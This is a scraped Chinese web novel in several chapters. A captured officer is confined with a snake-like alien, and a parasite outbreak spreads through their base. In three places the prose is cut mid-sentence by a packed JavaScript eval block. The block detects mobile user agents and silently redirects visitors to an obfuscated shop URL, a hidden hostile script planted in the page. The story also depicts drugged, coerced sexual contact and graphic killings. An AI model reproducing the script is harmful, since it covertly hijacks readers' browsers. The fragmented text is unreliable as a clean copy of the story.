柏霖似乎看出了他的迟疑,接着说:“放心,纪队长,只是和‘伏羲’待在一起而已,不需要做其他事。” “……”青时咬了咬牙,毕竟是男主,也不能这样眼睁睁看他出事,“好,我同意。” 柏霖眼尾扯出几条褶子,“纪队长高义。希望你能尽快去到‘伏羲’身边,时间越长出事的概率越大。” 青时朝人点点头表示知晓,退到门口准备出去,却突然想到什么,回头问:“柏霖先生说的几天有具体时限吗?” 柏霖面容平和,像和蔼的邻家大叔,这副模样经常让人忽略他身体里驻扎的是狼的基因,一只贪婪、诡谲、为达目的誓不罢休的狼。 看着这只即将落网而不自知的小鸟,他的嘴角上扬起莫名的弧度,“三天。” “好。” 青时将手头大部分基地权限交给副队文森,又连夜安排好最近几天的基地工作,以保证他不在的几天基地的正常运转。 交代完他便马不停蹄找到柏霖准备安抚男主。 “‘伏羲’就在这里面,请吧,纪队长。”柏霖打开合金打造的禁闭室的大门,做出邀请手势。 青时看着漆黑的空间,叹了口气,义无反顾地走了进去。 禁闭室原本是犯了大错的守卫队员接受惩罚的地方,四周全都是由联盟最坚固的合能金属打造,危险程度再升几级的男主不能再被安排在研究园,于是就被放在了这里。 听见大门在身后关上的声音,青时从腕表空间掏出一个昏黄的灯盏,观察起这个自己很少踏足过的地方。 房间很小,将将50平,大门关上后就成了一个密闭空间,大门右上方有一个红色按钮,按下后能接通外界总控室的值班人员,这是里面的人和外界唯一的联系通道,因为合金属墙壁内装有信号干扰装置,在里面一般通讯器是接收不到信号的。 再往上是包裹在黑盒子里的方形物体,青时猜测应该是被保护起来的传声器装置。 男主被禁锢在最里面的墙上,双手、腰部和大部分尾巴被墙体伸出的合能金属呈‘个’字形锁住,尾巴尖垂在地上一动不动。 青时举着灯走近看了几眼,男主头微微低着,双眸闭合,似是还未曾清醒,身上原本可怖的伤已经好得差不多。 真是令人惊讶的愈合速度。 将灯装在男主隔壁的墙上,青时掏出一把椅子坐了下来,又拿出一本纸质书,慢慢翻看。 不看环境,能说的上是悠闲的放假日子了。 也许是一朝从繁忙中解放出来,四周又过分安静,青时不知不觉睡了过去。 当脚踝感受到一阵异动时他猛然惊醒过来,脚下迅捷地踩住触碰自己的东西。 低头一看,是一节墨绿的尾巴尖儿,在他脚下微微扭动着想往他腿上爬。 青时往禁锢男主的墙面上望去,果然看到男主深翠近墨的双眸已然睁开。 “qing ……qing……” 浅薄的嘴唇微微张合,露出其内两颗尖锐管牙的尖端。 青时篾了他一眼,又转头翻看起手里的书。 “qing……” 脚下的尾巴还在蠕动,只是力度不大,似乎不是想挣脱,只是想引起青时的注意。 耳边传来男主絮絮叨叨地呼喊,青时不耐烦地皱了皱眉,脚下加重力气踩下去,“安静点。” 尾巴尖明显停顿了一下,然后委委屈屈地趴在地面不再动弹。 伽闭上嘴不再试图呼唤伴侣的名字,他看着昏黄灯光下伴侣若隐若现的侧脸,只觉得心头一片火热。 分叉的舌尖探出捕捉到伴侣身上香甜的气味,身上被强行按捺下去的发、情期症状又有了卷土重来的架势,只是…… 伽看了看身上捆住自己的合金属,再等等……等他…… 青时呆在禁闭室的三天,外界发生了翻天覆地的变化。 孟希气势汹汹地推开柏霖实验室的大门,一拳垂在他面前的实验台上,“柏霖你凭什么接管基地?青时呢?你把他怎么了?!” 柏霖不带感情地瞥了他一眼,“你的老师就是教你这样尊重前辈的吗,孟研究员?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299442|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “少废话!”孟希抓住柏霖的衣领,将他提起,“快说你把青时弄哪去了?!” “纪队长自愿参加了一项秘密实验,议会将黎明基地的代行权交给了我。”柏霖不慌不忙打开通讯器调出盖着公章的任命函。 “这……”看到那通红的联邦议会公章,孟希松开柏霖的衣领后退两步,不解问道:“可是青时一直都是我负责的,怎么会同意你的试验,还不告诉我?” 柏霖慢条斯理地整理自己凌乱的衣领,“孟研究员,人呐,还是不要把自己看得太重要。” “你!”孟希愤怒望向柏霖,狠狠磨了磨牙后他转身离开,“别让我抓住你的把柄!” 身后柏霖露出似笑非笑的笑容,喃喃道:“真是可怜的家伙。” 无人注意的角落,泡在透明液体中的一块指甲大小的带着墨绿鳞片的血肉忽然微微弹动了几下,快得像错觉。 三天时间转瞬即逝,青时获得了难得的轻松时光,唯一遗憾的是禁闭室里没有安装淋浴装置,虽然有自动清洁装置,但青时还是更喜欢热水淋身的感觉。 令青时有些疑惑的是柏霖说男主正处于暴躁易怒的状态,但他完全没有看出男主有这方面的表现。 他和男主待在一起的这三天,他不吵不闹的,正常得不行。 不过为了以防万一青时还是在这里呆满了三天才准备出去。 他按下门口的红色按钮,但等了许久也没有听见总控室回话的声音,门也丝毫没有打开的意思。 青时望向上方的传声器,疑惑地蹙眉。 什么情况?难道是外面出事了? “咳咳。” 就在青时担忧的胡乱猜测时,头顶的传声器里突然传来了人声,“纪队长,这三天过得还不错吧。” 虽然声音经过电流稀释改变,但青时还是听出了声音的主人是谁,“柏霖先生,这是什么意思,不放我出去?” “呵呵,纪队长别着急啊,主要是有一项重要研究还需要你的参与。”柏霖的心情显然十分好,笑意明显。 青时心中忽然涌现出不妙的预感,他双目怒视传声器,喝道:“柏霖!你把文森他们怎么了?” “害,那些不听话的家伙都被丢进冰海里了。”柏霖轻飘飘丢出一颗炸弹。 “砰!”青时一拳砸上合金属大门,咬牙切齿道:“柏霖,你怎么敢!你就不怕自己的所作所为被议会知道吗?!” 柏霖淡笑,“纪队长又怎么知道我做这一切议会不知情呢,你以为凭我一人能掌控这么大的基地吗?” 青时双眼微微睁大,身体不由自主地打起寒战,“你们……你们究竟想做什么?” “纪队长,我前不久查阅资料得知,海诺斯人蛇一族有个特性,”志得意满的柏霖慢悠悠地说出联邦高层未曾公布的秘密内容,“他们的族群之中不会产生雌性,你猜他们是如何繁衍的?” 青时心头一震,下意识回头看向男主所在地,黑暗中那双翠绿的竖瞳格外显眼。 沉默半晌他扯开干涸的嗓子反问,“怎么繁衍?” 23. 人蛇6 “他们体内有一种特殊基因,我将其命名为‘感染’,它可以侵蚀改变别的生物的基因,将其转化为新的海诺斯人蛇,” 柏霖语气激动,“这是神迹!他们是完美的进化方向,只要联邦能掌握这种基因那我们将迎来崭新的纪元,强悍的躯体、悠久的生命,一切都唾手可得!” “……”青时无法理解柏霖的狂热,“海诺斯人蛇既然有柏霖先生你说得这么强,那为什么三百亿年前会销声匿迹,沉睡在南极冰海之中呢?” “啪!”是大力拍桌的声响。 “你懂什么!海诺斯人蛇消失是因为三百亿年前的蓝星寒潮天灾,而且你看看他,在极寒地带沉睡这么多年他竟然还能苏醒过来,这是多么强悍的生命力!” 青时闭了闭眼,强忍下心中喷发的怒火,“我不明白,你做实验为什么要将我关在这里,还把文森他们……” “我这都是为了你啊,纪队长。”柏霖音调轻柔,说出的话却冰冷,“你在这黎明基地一呼百应,我若不先拿下基地又如何能奈何得了你呢。” “为了我……”青时咬着牙和男主对视,他似乎从那双清澈的翠绿双眸中看到了自己眼中的悲凉和恐惧,“你如此大费周章,究竟是想拿我做什么实验?” “我从‘伏羲’的组织、血液中发现了‘感染’基因,但是它们都不具备活性,似乎从离开本体那一刻开始它们就已经死去,所以我大胆猜测海诺斯人蛇的基因感染采取某种特别方式,比如说玉、精交换。” 青时大脑一空,如遇当头一棒,“所以,你是想……” “没错。”柏霖带着笑意的声音伴着金属落地的声响,狠狠敲击在青时的心上。 “你是‘伏羲’标记的配偶,他会主动转化你的,一条转化中的海诺斯能得到的研究结果可比成体多得多。” 被放开枷锁的男主缓缓朝青时游过来,青时摸上腰间的重能枪,“‘伏羲’也是智慧生物,他能听懂我们说话,你怎么确定他就会如你所愿呢?” “哈哈哈,之前我确实有这方面的担忧,多亏了我那好学生柏古,他虽自不量力招惹‘伏羲’送了死,但也成功引发了‘伏羲’的交合热,他现在只怕满脑子都是怎么将你吞食入腹,”柏霖感叹道,“据说海诺斯一族交合期长达一个月之久,纪队长可千万要撑住啊。” 青时抖着手抬起重能枪,枪口对准的却不是男主而是自己。 如此折辱,对于高傲的纪青时来说比死更难接受。 伽看到伴侣将那危险的武器对准他自己,瞳孔一缩,尾巴用力甩过去把重能枪从青时手里打飞出去,接着想卷起人抛到怀里。 青时躲开他的尾巴,但禁闭室地方太小他很快便被缠住,原本他还有实力可以和男主抗衡一二,但男主此时实力好像比之前更强,而他却因为惩罚武力值下降,此消彼长,他现在在男主手下走不过十招。 “放开!”青时抓住男主环着他腰的手臂想扯开,结果是纹丝不动。 这时柏霖恶魔般的声音又响起,“纪队长可别想着寻死,我刚才是骗你的,你那些个副队和队员都还活着,但你要是死了,他们也活不了。” “柏霖!”青时紧紧攥着拳,声音泣血。 “纪队长是性情中人,应该不会想那么多人陪你一起死吧。” 青时眼中充满愤恨,但手上挣扎的力气却慢慢放轻了,一滴晶莹的水滴从微红的眼角滚落到伽惨白的手臂皮肤膜上。 天生低体温的伽因为手臂上滚烫的热泪顿住,他用能轻松撕裂猎物坚韧皮肤的手小心地托起伴侣的下颌。 大手几乎包裹住青时的整个下半张脸,虽然伴侣低垂着眼,但伽还是注意到了他眼角的泪痕。 伽躬下身,细长的舌轻轻略过泛红的皮肤,微咸带着些许苦涩的味道通过味蕾传进他的脑子。 “qing?”眼中闪过一丝心疼,伽不明白为什么伴侣会流出如此令人难过的水滴。 “纪队呲——” 柏霖还想说什么结果传声器被伽一尾巴打烂,发出刺耳的空鸣声。 “qing!”伽邀功似的凑近耳边唤了一声青时。 就是这个东西里传出来的声音让伴侣难过的,他干的漂不漂亮! 不习惯与人如此亲密接触,青时沉默地用手抵住男主靠近的脸,试图拉开两人的距离,但没料到男主居然伸出舌头舔上他戴着手套的手。 细长的舌从指缝中穿过,将修长的手指逐一包裹,甚至想将其全部含进嘴里。 轻薄的手套无法完全隔绝触感,那点濡湿似有似无,如同隔靴搔痒,青时浑身一颤快速抽手想远离,却不想逃跑的手腕被人紧紧攥住。 伽粗壮有力的手臂穿过青时的身前一边把伴侣固定在自己怀里,一边将伴侣试图远离的修长手指递到嘴边。 “呲——”银白的手套和作战服是一样的材质,不仅坚韧透气,还具有自动清洁功能,而这号称完美防护的材料像纸老虎一样被伽的尖牙撕裂。 莹白温润的手指暴露在空气中,伽喉头滚动几下,在青时不可置信的目光中将其含进嘴里。 手指上的感受器明确的向主人反馈了口腔中温凉的包裹感,伽像得到糖果的小朋友一样,吸得啧啧有声。 殷红的舌纠缠着白皙的指节,一一亵玩。 青时鸦羽般的睫毛微微颤动,薄唇微张,想阻止男主的过分行径,“你……别这样……” 太涩了。 他感觉自己的脑子被恶心和麻痒一分为二,搅和得他一团乱。 伽撩起眼帘,深绿的瞳孔印出染上绯红的青时。 他嘴角扬起邪肆的弧度,把被自己含得一塌糊涂的手指从嘴里拿出,粘稠的银丝挂在葱白的指尖摇摇欲坠。 青时看着这一幕不忍直视地闭上眼侧头,耳垂红得快滴血。 “!”穿过两腿间的蛇尾突然将青时往上颠起来,双脚彻底离地的他坐在蛇尾上,后背靠在伽的胸膛,侧头就能碰到他的脸颊。 青时五指蜷缩,内心不安是从。 伽放开青时的手腕, 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明明不是多敏感的地方,青时却如遭雷击,劲瘦的腰向上抬起微妙的弧度,凌空细细颤抖。 太过分了! 几乎有青时两倍大的手隔着作战服拿捏住腰肉,缓缓摩挲,似乎下一秒便会用短而尖利的指甲划开那薄薄的一层屏障,完整的贴上白皙有力的腹部肌肉。 青时不受控制地全身战栗,虽然已经从柏霖的话中料想到了交合期的男主会对他做什么,但真正当奇怪的身体反应出现时他还是没忍住心生恐惧。 青时抬脚踩上伽的蛇尾,试图以此借力将自己摘出他的怀抱,但滑腻的鳞片不给他这个机会。 他逃不掉了,从他因为柏霖的威胁放弃反抗,不,也许从他踏进这间禁闭室开始他就再也没有回转的余地了。 青时瞪着头顶漆黑的天花板,心下五味杂陈,在得知自己患上基因崩溃症的时候的心情都没有此刻的复杂。 将口腔弄的一团糟的手指终于退了出来,那只手顺着下颌滑下,扯开颈部的作战服。 柔韧的脖颈暴露在空气中,青时看不到身后的伽翠绿的双眸中浮现的点点赤红,他只能感觉到有东西接触到了自己的颈侧,下一刻…… 尖锐的管牙刺破颈部皮肤,先是一点刺痛,接着便是冰冷的液体被注进血管。 伽往伴侣体内注入了海诺斯人蛇独有的荷尔蒙素,它能帮助海诺斯人蛇的伴侣更好的接纳他们的全部。 青时仰起头不受控制地张开嘴,口鼻呼出灼热的气流,身体弹动几下后瘫软在伽的怀里,深蓝的眸光变得涣散,手脚无力的耷拉在空中,完全倚靠伽的支撑才不至于跌落下去。 他感觉自己像是被放进了一座熔炉之中,火焰焚身。 伽环抱住体温升高的伴侣,嗅着伴侣身上的冷香,喉间发出满足的喟叹。 “青。”漆黑一片的禁闭室里黏腻的水声中,夹杂着一声字正腔圆的呼唤。 24. 人蛇7 “啪!” 新来的实验助理小艾打翻了实验台上的标本,玻璃罐子没有碎,但内容物却撒了一地。 透明的营养液缓缓流淌,小艾蹲下身想收拾狼藉的地面,这时地上某个绿色的东西吸引了他的注意,他仔细看过去,发现那居然是一块带着鳞片的血肉。 好漂亮的鳞片…… 他的手不受控制地伸向那团血肉。 “你在干什么?” 小艾抬头对上柏霖无机质的黄色眼瞳,吓得一激灵,猛的站起身连连鞠躬,“对不起柏霖先生,我不小心把这个培养罐打翻了。” 换作平日柏霖会训斥一番笨手笨脚的助理,不过这几天他心情好,所以也不打算难为人,只略微扫了一眼地上,便说:“行了,收拾干净。” “是,是!”小艾一直等到柏霖走出实验室的门才敢直起身,他匆匆打扫干净地面便做贼心虚般跑回了住处。 进入房间后他擦了擦额头的冷汗,打开抓握的手心,其内赫然是刚才地上那块拇指大小的绿色肉块,上面镶嵌着一片墨绿的鳞,散发着幽幽荧光,如同珍贵的宝石般耀眼。 他也不知自己怎的,鬼使神差般将此物从实验室带了出来。 夜半。 小艾被一阵异响吵醒,他迷迷糊糊坐起身,发现声响是对床的室友发出来的,似乎是咀嚼什么的声音。 他看着背对自己的室友小康,疑惑问了句:“小康你大半夜不睡吃什么呢?” “……”无人应答,但咀嚼的声响消失了。 小艾虽有疑问,但他和小康说是室友其实关系算不上亲近,他见人不理他也没有打破砂锅问到底的心思,只当是他人的特殊爱好,于是准备躺下接着睡。 结果他刚躺下那声响又开始了,他翻过身用被子捂住头,咀嚼声却像是直接在他脑子里似的,清晰明了。 左右翻转了好几下后小艾终是没忍住下了床,他边走边说:“小康你能不能小声点,很吵。” 等走到小康床边他发现小康闭着眼睛睡的很沉根本不是如他所想在吃东西。 怎么回事? 正当他疑惑时他注意到原来咀嚼声是从被子里面传出的,犹豫了一会儿,小艾猛的掀起小康的被子丢到一边。 看清被子底下的场景小艾唰一下瞪大了双眼。 只见小康全身未有寸缕,腹部高高耸起,隔着薄薄的肚皮能清晰的看见其内游动的条状生物。 它有着墨色的细鳞,几乎有成人手臂粗,长约一米,将小康的肚子顶的凸出仿若十月怀胎。 这……是什么? 小艾全身不由自主地颤抖着,他想跑想大喊救命,但脚却像是被粘在地上了一样无法动弹,扯着嗓子也只发出一两声哼唧。 这点微弱的声响不足以触发房间里的警报,却引起了小康肚子里怪物的注意。 三角形的头在靠近小艾的一侧肚皮浮现,赤红的竖瞳冰冷的眸光紧紧钉在他身上。 冷汗欻一下从额头冒出,小艾大气都不敢喘,但两排牙齿却不受控制地磕碰起来,清脆的声响在安静的房间中清晰可闻。 在小艾惊恐的目光中,那三角形的头竟然撕开肚皮钻了出来! 当玄色的身躯随着鲜红的血液缓缓爬出时,小艾因为心情过于激荡两眼一翻失去了意识。 “小艾!小艾你醒醒!” 迷蒙中小艾似乎听见有人呼唤自己的声音,他睁开眼,身前是面露担忧神色的小康。 血色的恐怖记忆涌上心头,小艾尖叫一声猛然将小康用力推倒。 小康结实地摔了一下,语气不太好,“嘶——小艾你怎么了,干嘛推我?” 小艾看到他翻起的衣角下光洁的皮肤,跌跌撞撞地爬下床,掀开他的衣服。 衣服下是光滑的肚皮,没有可怖的裂口,没有可怕的怪物,小艾跌坐在地,紧绷的肩膀放松下来,喃喃道:“是梦……” “做噩梦了?”小康听见他的话恍然,“我说你今天怎么怪怪的。” “是啊,对不……”小艾为自己的冒失道歉,他边说边抬头,在看到小康侧脑探出的拳头大小的三角形物体时声音被封印在了嗓子里。 眼眶在他的惊恐下摇摇欲裂,瞳孔清晰的映照出那个头顶生长着刺状凸起鳞片的似蛇似蜥的生物。 “小艾?”小康见状十分疑惑,伸手在他眼前晃了晃,“你没事吧?” 小艾木然的眼神随着声音挪到他脸上,看着他一如往常的表现,一种莫名的巨大恐慌袭上他的心头,他四肢并用爬起来冲出房门。 小艾慌不择路地冲进守卫队值班室,“救……救命!” 值班的两名守卫队员见他这副模样,双双对视一眼,“怎么了,出什么事了?” 小艾喘着气,用颤抖的声音说:“我的室友……他……变成怪物了!” “什么?你在开玩笑吗,变成什么怪物了,你看清楚了吗?” “蛇……不对,蜥蜴……不对……”小艾捂着头坐到地上,神色崩溃,“我不知道……是从他脑子里爬出来的,我亲眼看见的,你们相信我!” 于合看着疯疯癫癫的小艾皱起眉,他不相信他口中什么变成怪物一说,但为了以防万一他还是准备去看看。 “小五,你在这守着,我过去看看。” 另一名守卫队员点点头,示意他知晓。 于合蹲下身问小艾:“你室友在哪,带我过去。” “不,不,不,我不去!”小艾摇着头后退,双眼惊恐地望着于合,好似他是什么恐怖分子。 于合无奈叹了口气,“那你总得告诉我你室友人在哪吧?” 小艾将自己团成一团缩在角落,“在房间里。” “行。”于合站起身招呼小五,“小五你看着他,我去一趟。” “好。” 小五双手抱胸嫌弃地篾了一眼小艾,坐回椅子上。 另一边于合来到小艾和小康居住的房间外,门没有关紧他推开门就看到地上躺着个人。 是个男人,脸朝下头朝上,于合猜测这应该就是小艾口中的室友。 他掏出腰间的枪拿在手上,小心地走过去。 地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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倒是伽看到大门打开,抱着伴侣朝光亮的地方游过去。 外面的光线没有青时想象的刺眼,头顶的灯没有几盏亮着,更令他感到奇怪的是禁闭室外竟然一个人都没有。 柏霖那个疯子又想干什么? “青,洗澡,去哪?”伽将青时横抱在胸前,询问道。 青时耷拉着眼睛,他已经发觉男主似乎能轻松了解他内心的渴求,他也能隐约感受到男主的情绪。 这种感觉随着他们亲密度的上升越加清晰。 “那边去,我的房间。”青时抬手指了个方向。 一路上,青时发现整个基地安静得可怕,灯光晦暗,他们居然连一个人都没碰到便抵达了他的房间门口。 青时很是奇怪,什么时候黎明基地的守卫松懈成这样了? 打开房门,管家机器人十六因为能源耗尽已经停摆,青时让伽放他下来,蹒跚地走进浴室。 伽想跟着他进去,结果被青时毫不留情地赶了出去。 青时锁上浴室门,还好热水器的能源还有一些,他打开淋浴任由热水淋湿全身。 热水能冲刷掉皮肤上残留的汗液和唾液,但却洗不掉那一串串刺目的红痕,他怎么也想不到事情怎么会发展到这一步。 任务……还有完成的希望吗? 青时不确定地想。 25. 人蛇8 洗完澡青时走出浴室,却发现伽竟然不在屋内,他叹了口气,心想走了也好,省得看见心烦。 面容略显憔悴的青时很想倒头就睡,但基地的诡异一直在他心头环绕,于是他找出新的作战服和备用重能枪,准备出去查看一下。 这一切究竟是柏霖玩的把戏,还是真的出了什么事? 青时先去了就近的守卫队值班室,值班室内空无一人,监控设施全部黑屏。 他又前往基地供能室,路上他发现走廊出现了一些打斗后的痕迹,有重能枪射击出现的坑洞以及喷溅的血液。 但奇怪的是这么大面积的血迹他竟然没发现一具尸体,是有人清理过吗? 打开供能室的门,青时看到了一地狼藉,似乎是有人慌乱之中撞倒或者打翻的。 他还去了其他地方,能找到人活动留下的痕迹,但就是没发现有人在。 青时思索着,这时他突然想到,如果基地里现在没人,那禁闭室的门是谁打开的呢? 想到这他脚下一转朝总控室跑去。 禁闭室的门控装在总控室,如果有人那他一定在那里! 喘着气的青时输入总控室密码,虽然紧张,但他的手依旧很稳。 大门缓缓打开,露出那个坐在椅子上的背影。 看着熟悉的身影青时疑惑地喊了声:“文森?” “队长,好久不见。”椅子上的人站起来转身面对青时,是文森面带微笑的脸。 见到熟悉的人,青时紧绷的心弦稍稍放松了一点,不解问道:“文森你怎么在这里?基地发生什么事了?其他人呢?” 闻言文森露出苦恼的表情,“说来话长,不久前基地爆发了一场奇怪的传染病,几乎所有基地人员都染了病,柏霖带着完好的几人连夜离开了基地。” 青时眉头紧蹙,重复道:“奇怪的……传染病?” “是啊,染病的人身上会爬出蛇一样的东西,那些蛇会顺着耳道爬进正常人的脑子,他们会吃掉人的脑组织生活在人的脑海里,”文森面露惊恐地继续说,“而被吃掉脑子的人从外表看,言行举止与往常无异,根本无法分辨。” 青时从他的诉说中感受到了那种无以名状的恐怖,“那后来是如何发现的?” 文森叹了口气继续说:“是一个名叫小艾的研究员他说看见同间室友的脑子里钻出来一条蛇,刚开始大家都以为他是疯了,在说胡话,结果有一天他偷偷打开基地的生物干扰仪,大家惊讶地发现好多人身体里突然有一条蛇钻出来,那一天真的太混乱了。” “没有试图调查来源吗?”青时问。 文森摇摇头,“发现的时候基地已经基本沦陷了,主事人柏霖下令放弃基地撤离。” “不过我听人说,这可能是来自‘伏羲’的报复,那些蛇是他召唤来的,毕竟我们不仅囚禁他,还拿他做实验。” 这个说法好像确实有些道理。 青时垂下眼思索着。 “你说柏霖下令撤离,那你怎么会在这里?你没有感染吗?除了你还有其他人在吗?” 文森低下头报告:“我当时被柏霖关在单独的房间,等我破开锁出来时基地已经是现在这副模样了,我刚才说的都是我在总控室监视器的记录中看到的。” “我翻看记录时刚好看到队长您走进禁闭室的画面,但是之后并没有您出来的记录,所以我猜测您可能还在里面,于是就打开了禁闭室大门。” “这样啊,”青时揉了揉眉心,“你把爆发传染时的画面调出来给我看看。” “好的。” 文森还没坐下,亮着屏的监控忽然拍摄到伽的身影,他在追逐着什么。 由远及近,青时看清伽追的是一个人,是跟过一次他的队的守卫队新人——伍峰。 走廊拐角的高清摄像头清晰地映出伍峰满脸的惊恐,他逃到摄像头下戏剧性地摔了一跤,伽趁此机会追上他,大手握住他的头颅,凶残地直接拧了下来。 喷涌而出的动脉血飙射到摄像头上,遮挡住大部分画面。 在青时和文森因为这凶残血腥的画面神情凝重时,一只墨绿竖瞳猛的出现在摄像头剩余的画面里,那眼神似乎在说:“发现你了!” 文森跌坐到椅子上,脸色略显苍白,“队长,怎么办,他好像发现我们了。” 从监控画面上看伽正朝着总控室飞速赶来。 青时从腰间抽出重能枪,“没办法,动手吧。” “好!”文森也拔枪准备参加战斗,结果枪刚抽出来就被身前的青时一脚踢飞数丈远。 “队长这是什么意思?”面对黑洞洞的枪口,文森举起双手,表情疑惑,“不是要对‘伏羲’动手吗?” “你的表现无懈可击,但,”青时面无表情地举着枪回答,“下次伪装之前记得把尾巴藏好。” “队长你在说什么?”文森的眼里仍旧充满了迷惑。 青时淡淡道:“你要是不说基地传染病的蛇是从脑子里爬出来的我可能还不会往这方面想,你不会觉得自己那根土褐色的舌头能在文森的黑发中完美隐形吧?” 疑惑从文森的眼眸中散去,他放下双手,嘴角上扬勾出邪肆的笑容,像是褪去了温柔的外衣露出邪恶的内在。 “哎呀,我怎么忘了呢,队长你是隼,视力好得很。” 青时冰冷的眸光化作尖刀刺向文森的双眼,“你或者你们,想做什么?” “哈哈,这不是想帮队长你报仇嘛,你看看你都被欺负成什么样了。”文森的目光将青时从头扫到尾,重点关注了衣服遮不住的地方的那些痕迹,“和我们合作,干掉‘伏羲’如何?” 青时神色沉穆,目光似剑,不想再和人说废话,直接扣下扳机。 “砰” 能量子弹穿透文森的眉心从后脑射出打穿了他身后的一块监控屏幕。 他睁着眼向后仰倒在地上,瞳孔涣散。 青时放下手,面色平静,似乎对于亲手射杀曾经的队友毫无波动,只是身侧拿枪的手微微颤抖。 一颗三角形头生凸鳞的蜥蜴头悄悄从文森的后脑处爬出,蛇一样的身体只剩下半截,白色的脊骨露在外。 但就是这样它竟然还能动,可见生命之顽强。 见到这奇异的生物,青时丝毫没有迟疑,一枪过去将它的头打成肉泥。 剩下那节身子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299445|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无力地跳动几下后瘫在地上彻底不动了。 “青?” 伽出现了主控室门前,歪着头打量着房间内的青时,他的身上还残留着伍峰的鲜血。 赤红的血和惨白的皮肤形成鲜明对比,配上那双野兽的瞳仁,美艳、妖异、强大、冷漠。 青时眸光转向他,抬手毫不犹豫也给他一枪,伽的左胸炸开一朵墨绿的血花,透过胸骨隐约能看到其内跳动的两颗心脏。 “青?……”伽捂着胸口俯趴到地上,他望着青时的双眼中盛满疑惑,不明白伴侣为何突然攻击自己。 青时仰头闭了闭眼,整理自己复杂的心境,接着他踱步走到伽的身前,居高临下地俯视他,薄唇微启:“伽,你想杀了我吗?” 伽摇着头,“青,伴侣,不,杀。” 青时蹲下身,微微勾起唇角,将手里的枪口对准伽的额间,“可是我想杀了你。” “为什……么?”伽十分茫然。 “呵,我纪青时碌碌半生,自以为天命不凡,结果到头来成了同你一样的实验品,作为联邦军人手上沾的却是昔日并肩队友的血……”青时自嘲一笑,眼神中蕴含着无限悲凉,“今日你只有两个选择,杀了我或者被我杀。” 伽感受到青时心头的死意,瞳孔紧缩成一条竖线,“不,准!” 青时将枪口抵上他额间的皮肤,深蓝与墨绿相对,“那就别怪我不客气了。” 在扣动板机的前一刻伽突然暴起将青时压在身下,他手里的枪脱手而出,接着是几声枪响,腥甜的血喷洒到青时脸上。 整齐的脚步声传来,忽然出现的大队人马将两人团团包围。 伽脸色冰冷地扫视着周围,嘴微微咧开露出尖牙,一副随时准备发起进攻的状态。 青时注意到从他背上滚滚流下的血液,不用看都知道伤的有多重,想必他刚才是用□□将枪击全部挡下了。 “两位可真是伉俪情深啊。” 青时跟着鼓掌声望过去,是个身高175左右的实验员,脸很陌生,应该是他进入禁闭室之后才来基地的。 “你是谁?” “你应该听说过我才对,”那人笑着说,“我叫小艾。” 听见这个名字青时瞬间回忆起文森口中那位打开生物检测仪暴露传染病的人。 看他现在这幅领头羊的模样,青时眯了眯眼,“你也是感染者,你是故意打开生物检测仪的?” “猜的不错。”小艾笑弯了眼睛,随着他的话音他小腹处的衣物抖动起来,一颗头生凸鳞的三角形蜥头从中钻了出来,“他们落荒而逃的背影真滑稽。” 是和文森脑后钻出来的一样的生物,只是小艾身上这条格外大些。 小艾带着那生物向前走了几步,两对招子同时落在狼狈的伽身上,“终于让我抓住你了,伽!这一天我等得太久了。” 伽冷漠地眸光落在小艾身上,他抱着青时动了动尾巴,小艾被吓得连连后退几步,周围那些目光呆滞的人齐齐抬枪对准二人。 “呵。”伽朝着小艾嗤笑。 小艾成功被他激怒了,指挥周围的寄生体发动攻击,“给我开枪,留一口气就行!” 26. 人蛇9 此起彼伏的枪声中青时被伽护在怀里,他凭借着强悍的□□直接撕开包围圈,冲了出去。 身后的人穷追不舍,伽不熟悉基地的构造,凭着本能横冲直撞。 为了保护青时他硬生生扛了好几枪,身上伤势越来越重,他的速度渐渐慢下来,和身后追击之人的距离逐渐缩短。 青时的作战服已经被伽的血浸透,他看着伽坚毅的脸庞说:“把我放下吧,再这样下去你跑不掉的。” “不。”伽用另一只手将青时的头按在自己的胸膛上,“要一起。” 宝蓝的双眸中神色变换,青时微叹,伸手指了方向,“往那边去,跟着黄色标记,打碎尽头的墙壁,外面是冰海。” 闻言伽腰身一转拐进了青时所指的过道。 “快拦住他们!” 小艾撕心裂肺的喊声传来,他似乎发现了他们的意图。 不过为时已晚。 “噗通” 冰冷的海水从四面八方包裹住两人,一入水伽的速度暴涨,他带着青时深入海面之下,远远地甩开了追兵。 不过此时青时的状态不太好,联邦出品的恒温环在水中效果微弱,所以他现在相当于直面零下的海水,只怕用不了多久他便会因为血液凝结而亡。 窒息与寒冷令青时目光迷离,他靠在伽的胸膛感受着意识一点点离体,眼前浮现出一张又一张熟悉的脸。 他这个队长当得还真失败,基地、队友什么都护不住。 {青……} 青时睡了冗长的一觉,只是脑海中总是有个声音唤着他的名字,有些吵。 甜腥的水液划过喉间,青时缓缓睁开双眼。 “青!”侧耳感受到胸腔震动,伽激动的声音从头顶传来,对上那双碧绿的兽瞳,青时竟从中看到了温情。 不敢再对视,青时垂下眼睑,视线落到身前那条手臂的腕上,一条深可见骨的伤痕横亘其上,苍白的皮肤膜层层翻转,深绿的血液汩汩流出。 伽见青时盯着自己的手腕,连忙将手腕递到他唇边,“喝?” 青时愣了一下,“不……”他想到嘴里残余的腥味,问:“你一直喂我血?” 